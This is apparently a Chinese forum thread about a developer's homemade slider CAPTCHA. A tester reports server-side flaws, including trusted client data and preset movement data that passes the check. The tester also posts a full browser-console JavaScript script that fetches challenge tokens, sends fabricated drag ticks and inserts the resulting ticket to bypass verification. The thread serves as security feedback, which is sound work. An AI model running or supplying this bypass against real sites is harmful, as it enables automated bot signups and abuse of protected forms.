[slide_captcha]极验验证热

这个安全性如何？能防住机器人吗

可以的 就是安全性提供安全性了 可以防住机器人

注：以下仅适用于 滑块验证 本身而并不包括其余限制措施。

该验证存在以下问题

1. 服务端仅验证数据，且过度相信客户端数据:

percent = 100; // 直接 100%
duration = 800; // 合法区间
moves = 10; // 合法区间

使用此数据发送请求即可直接通过。

优化你说的bug了 你再去测一下

存在严重问题：前端丢弃了收集的拖动信息，在松开后重新获取了令牌，并提交了

[0, 16, 32, 48, 64, 80]

这组预设数据，导致行为验证完全失效。

同时，这也暴露出了一个问题：预制的机器数据可以通过验证！

您可复制以下脚本，粘贴至浏览器控制台执行。

(async function bypassSlideCaptcha() {
    const widgets = document.querySelectorAll('[data-slide-captcha]');
    if (!widgets.length) {
        console.error('未找到滑动验证组件');
        return;
    }
    for (const root of widgets) {
        const scene = root.getAttribute('data-slide-captcha-scene') || 'register';
        const challengeUrl = root.getAttribute('data-challenge-url');
        const tickUrl = root.getAttribute('data-tick-url');
        const verifyUrl = root.getAttribute('data-verify-url');
        if (!challengeUrl || !tickUrl || !verifyUrl) {
            console.warn('滑块缺少必要URL，跳过');
            continue;
        }
        const csrf = document.querySelector('input[name="_csrf"]')?.value || '';
        const post = async (url, bodyObj) => {
            const formData = new FormData();
            for (const [k, v] of Object.entries(bodyObj)) {
                formData.append(k, v);
            }
            if (csrf) formData.append('_csrf', csrf);
            const res = await fetch(url, {
                method: 'POST',
                body: formData,
                credentials: 'same-origin',
                headers: { 'X-Requested-With': 'XMLHttpRequest' }
            });
            return await res.json();
        };
        const challengeResp = await fetch(
            challengeUrl + (challengeUrl.includes('?') ? '&' : '?') + 'scene=' + encodeURIComponent(scene),
            {
                credentials: 'same-origin',
                headers: { 'X-Requested-With': 'XMLHttpRequest' }
            }
        );
        const challengeData = await challengeResp.json();
        if (!challengeData || !challengeData.ok || !challengeData.token) {
            console.error('获取挑战失败', challengeData);
            continue;
        }
        const token = challengeData.token;
        console.log(`[${scene}] token:`, token);
        const points = [0, 16, 32, 48, 64, 80];
        let prevPercent = -1;
        for (let i = 0; i < points.length; i++) {
            const p = points[i];
            if (p <= prevPercent) continue;
            const delay = i === 0 ? 30 : 75;
            await new Promise(r => setTimeout(r, delay));
            const tickData = await post(tickUrl, { token, percent: String(p) });
            if (!tickData || !tickData.ok) {
                console.error('tick 失败', tickData);
                throw new Error('tick 失败');
            }
            prevPercent = p;
        }
        const verifyData = await post(verifyUrl, { token, scene });
        if (!verifyData || !verifyData.ok || !verifyData.ticket) {
            console.error('验证失败', verifyData);
            continue;
        }
        const ticket = verifyData.ticket;
        console.log(`[${scene}] ticket:`, ticket);
        const ticketInput = root.querySelector('[data-slide-captcha-ticket]');
        if (ticketInput) {
            ticketInput.value = ticket;
        }

        // 更新 UI，可选，不影响后端判断
        root.classList.add('is-ok');
        root.classList.remove('is-fail');
        const textEl = root.querySelector('[data-slide-captcha-text]');
        if (textEl) textEl.textContent = '验证通过';
        const progress = root.querySelector('[data-slide-captcha-progress]');
        if (progress) progress.style.width = '100%';
        const knob = root.querySelector('[data-slide-captcha-knob]');
        if (knob) {
            knob.style.left = 'auto';
            knob.style.right = '3px';
            knob.disabled = true;
        }
        const refresh = root.querySelector('[data-slide-captcha-refresh]');
        if (refresh) refresh.hidden = false;

        console.log(`[${scene}] 验证绕过成功`);
    }

    console.log('滑动验证已绕过，请尝试提交表单');
})();

算了我直接接入api验证滑动吧

有图片吗？是什么样的滑动

你可以安装看看在本地的

后台可以开启关闭 不是强制的

自己写很难的。总是有漏洞。

这就接

🤨

需要网站备案吗

不需要